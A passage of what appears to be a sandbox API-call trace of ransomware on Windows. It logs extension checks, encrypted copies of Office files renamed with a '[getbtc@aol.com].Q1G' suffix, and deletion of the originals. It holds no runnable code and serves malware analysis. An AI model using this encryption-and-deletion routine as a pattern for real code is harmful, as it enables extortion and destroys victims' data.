Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0259.231] lstrlenW (lpString=".dbf") returned 4 [0259.232] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0259.232] lstrlenW (lpString=".1cd") returned 4 [0259.232] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0259.232] lstrlenW (lpString=".jpg") returned 4 [0259.232] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0259.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0259.232] lstrlenW (lpString=".doc") returned 4 [0259.232] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.232] lstrlenW (lpString=".docx") returned 5 [0259.232] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0259.232] lstrlenW (lpString=".pdf") returned 4 [0259.232] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.232] lstrlenW (lpString=".xls") returned 4 [0259.232] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.232] lstrlenW (lpString=".xlsx") returned 5 [0259.232] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0259.232] lstrlenW (lpString=".ppt") returned 4 [0259.232] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0259.232] lstrlenW (lpString=".zip") returned 4 [0259.232] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.232] lstrlenW (lpString=".rar") returned 4 [0259.232] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.232] lstrlenW (lpString=".bz2") returned 4 [0259.232] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.232] lstrlenW (lpString=".7z") returned 3 [0259.232] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0259.232] lstrlenW (lpString=".dbf") returned 4 [0259.232] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0259.232] lstrlenW (lpString=".1cd") returned 4 [0259.232] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0259.233] lstrlenW (lpString=".jpg") returned 4 [0259.233] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.233] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0259.233] lstrlenW (lpString="TRANSMRR.DLL") returned 12 [0259.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.235] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=13712) returned 1 [0259.235] CloseHandle (hObject=0x3b4) returned 1 [0259.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll")) returned 0x20 [0259.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0259.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0259.235] lstrlenW (lpString=".doc") returned 4 [0259.235] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.235] lstrlenW (lpString=".docx") returned 5 [0259.235] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0259.235] lstrlenW (lpString=".pdf") returned 4 [0259.235] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.235] lstrlenW (lpString=".xls") returned 4 [0259.235] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.235] lstrlenW (lpString=".xlsx") returned 5 [0259.235] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0259.236] lstrlenW (lpString=".ppt") returned 4 [0259.236] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0259.236] lstrlenW (lpString=".zip") returned 4 [0259.236] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.236] lstrlenW (lpString=".rar") returned 4 [0259.236] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.236] lstrlenW (lpString=".bz2") returned 4 [0259.236] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.236] lstrlenW (lpString=".7z") returned 3 [0259.236] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0259.236] lstrlenW (lpString=".dbf") returned 4 [0259.236] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0259.236] lstrlenW (lpString=".1cd") returned 4 [0259.236] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0259.236] lstrlenW (lpString=".jpg") returned 4 [0259.236] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0259.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0259.236] lstrlenW (lpString=".doc") returned 4 [0259.236] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.236] lstrlenW (lpString=".docx") returned 5 [0259.236] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0259.236] lstrlenW (lpString=".pdf") returned 4 [0259.236] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.236] lstrlenW (lpString=".xls") returned 4 [0259.236] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.236] lstrlenW (lpString=".xlsx") returned 5 [0259.236] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0259.236] lstrlenW (lpString=".ppt") returned 4 [0259.236] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0259.236] lstrlenW (lpString=".zip") returned 4 [0259.237] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.237] lstrlenW (lpString=".rar") returned 4 [0259.237] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.237] lstrlenW (lpString=".bz2") returned 4 [0259.237] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.237] lstrlenW (lpString=".7z") returned 3 [0259.237] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0259.237] lstrlenW (lpString=".dbf") returned 4 [0259.237] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0259.237] lstrlenW (lpString=".1cd") returned 4 [0259.237] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0259.237] lstrlenW (lpString=".jpg") returned 4 [0259.237] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.237] lstrcmpiW (lpString1=".SAM", lpString2=".Q1G") returned 1 [0259.237] lstrlenW (lpString="ACT3.SAM") returned 8 [0259.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.238] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=90488) returned 1 [0259.238] CloseHandle (hObject=0x3b4) returned 1 [0259.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam")) returned 0x20 [0259.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.238] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.238] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0259.239] GetLastError () returned 0x0 [0259.239] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x16178, lpOverlapped=0x0) returned 1 [0259.364] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x16180, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x16180, lpOverlapped=0x0) returned 1 [0259.366] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0259.366] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0259.366] SetEndOfFile (hFile=0x3b0) returned 1 [0259.366] CloseHandle (hObject=0x3b0) returned 1 [0259.366] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.367] SetEndOfFile (hFile=0x3b4) returned 1 [0259.370] CloseHandle (hObject=0x3b4) returned 1 [0259.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.379] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam")) returned 1 [0259.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0259.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0259.380] lstrlenW (lpString=".doc") returned 4 [0259.380] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.380] lstrlenW (lpString=".docx") returned 5 [0259.380] lstrcmpiW (lpString1=".docx", lpString2="3.SAM") returned -1 [0259.380] lstrlenW (lpString=".pdf") returned 4 [0259.380] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.380] lstrlenW (lpString=".xls") returned 4 [0259.380] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.380] lstrlenW (lpString=".xlsx") returned 5 [0259.380] lstrcmpiW (lpString1=".xlsx", lpString2="3.SAM") returned -1 [0259.380] lstrlenW (lpString=".ppt") returned 4 [0259.380] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0259.380] lstrlenW (lpString=".zip") returned 4 [0259.381] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.381] lstrlenW (lpString=".rar") returned 4 [0259.381] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.381] lstrlenW (lpString=".bz2") returned 4 [0259.381] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.381] lstrlenW (lpString=".7z") returned 3 [0259.381] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0259.381] lstrlenW (lpString=".dbf") returned 4 [0259.381] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0259.381] lstrlenW (lpString=".1cd") returned 4 [0259.381] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0259.381] lstrlenW (lpString=".jpg") returned 4 [0259.381] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0259.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0259.381] lstrlenW (lpString=".doc") returned 4 [0259.381] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.381] lstrlenW (lpString=".docx") returned 5 [0259.381] lstrcmpiW (lpString1=".docx", lpString2="3.SAM") returned -1 [0259.381] lstrlenW (lpString=".pdf") returned 4 [0259.381] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.381] lstrlenW (lpString=".xls") returned 4 [0259.381] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.381] lstrlenW (lpString=".xlsx") returned 5 [0259.381] lstrcmpiW (lpString1=".xlsx", lpString2="3.SAM") returned -1 [0259.381] lstrlenW (lpString=".ppt") returned 4 [0259.381] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0259.381] lstrlenW (lpString=".zip") returned 4 [0259.381] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.381] lstrlenW (lpString=".rar") returned 4 [0259.381] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.382] lstrlenW (lpString=".bz2") returned 4 [0259.382] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.382] lstrlenW (lpString=".7z") returned 3 [0259.382] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0259.382] lstrlenW (lpString=".dbf") returned 4 [0259.382] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0259.382] lstrlenW (lpString=".1cd") returned 4 [0259.382] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0259.382] lstrlenW (lpString=".jpg") returned 4 [0259.382] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.382] lstrcmpiW (lpString1=".SAM", lpString2=".Q1G") returned 1 [0259.382] lstrlenW (lpString="OL.SAM") returned 6 [0259.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0259.512] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=29056) returned 1 [0259.512] CloseHandle (hObject=0x3f0) returned 1 [0259.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam")) returned 0x20 [0259.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0259.512] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.512] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0259.513] GetLastError () returned 0x0 [0259.513] ReadFile (in: hFile=0x3f0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x7180, lpOverlapped=0x0) returned 1 [0259.534] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x7190, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x7190, lpOverlapped=0x0) returned 1 [0259.535] ReadFile (in: hFile=0x3f0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0259.535] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0259.535] SetEndOfFile (hFile=0x3b8) returned 1 [0259.535] CloseHandle (hObject=0x3b8) returned 1 [0259.535] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.536] SetEndOfFile (hFile=0x3f0) returned 1 [0259.538] CloseHandle (hObject=0x3f0) returned 1 [0259.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam")) returned 1 [0259.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0259.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0259.539] lstrlenW (lpString=".doc") returned 4 [0259.539] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.539] lstrlenW (lpString=".docx") returned 5 [0259.539] lstrcmpiW (lpString1=".docx", lpString2="L.SAM") returned -1 [0259.539] lstrlenW (lpString=".pdf") returned 4 [0259.539] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.539] lstrlenW (lpString=".xls") returned 4 [0259.539] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.539] lstrlenW (lpString=".xlsx") returned 5 [0259.539] lstrcmpiW (lpString1=".xlsx", lpString2="L.SAM") returned -1 [0259.539] lstrlenW (lpString=".ppt") returned 4 [0259.539] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0259.539] lstrlenW (lpString=".zip") returned 4 [0259.539] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.539] lstrlenW (lpString=".rar") returned 4 [0259.539] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.539] lstrlenW (lpString=".bz2") returned 4 [0259.539] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.539] lstrlenW (lpString=".7z") returned 3 [0259.539] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0259.539] lstrlenW (lpString=".dbf") returned 4 [0259.539] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0259.539] lstrlenW (lpString=".1cd") returned 4 [0259.539] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0259.539] lstrlenW (lpString=".jpg") returned 4 [0259.540] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0259.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0259.540] lstrlenW (lpString=".doc") returned 4 [0259.540] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.540] lstrlenW (lpString=".docx") returned 5 [0259.540] lstrcmpiW (lpString1=".docx", lpString2="L.SAM") returned -1 [0259.540] lstrlenW (lpString=".pdf") returned 4 [0259.540] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.540] lstrlenW (lpString=".xls") returned 4 [0259.540] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.540] lstrlenW (lpString=".xlsx") returned 5 [0259.540] lstrcmpiW (lpString1=".xlsx", lpString2="L.SAM") returned -1 [0259.540] lstrlenW (lpString=".ppt") returned 4 [0259.540] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0259.540] lstrlenW (lpString=".zip") returned 4 [0259.540] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.540] lstrlenW (lpString=".rar") returned 4 [0259.540] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.540] lstrlenW (lpString=".bz2") returned 4 [0259.540] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.540] lstrlenW (lpString=".7z") returned 3 [0259.540] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0259.540] lstrlenW (lpString=".dbf") returned 4 [0259.540] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0259.540] lstrlenW (lpString=".1cd") returned 4 [0259.540] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0259.540] lstrlenW (lpString=".jpg") returned 4 [0259.540] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.541] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.541] lstrlenW (lpString="OLNOTE.FAE") returned 10 [0259.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0261.112] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=52120) returned 1 [0261.112] CloseHandle (hObject=0x390) returned 1 [0261.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae")) returned 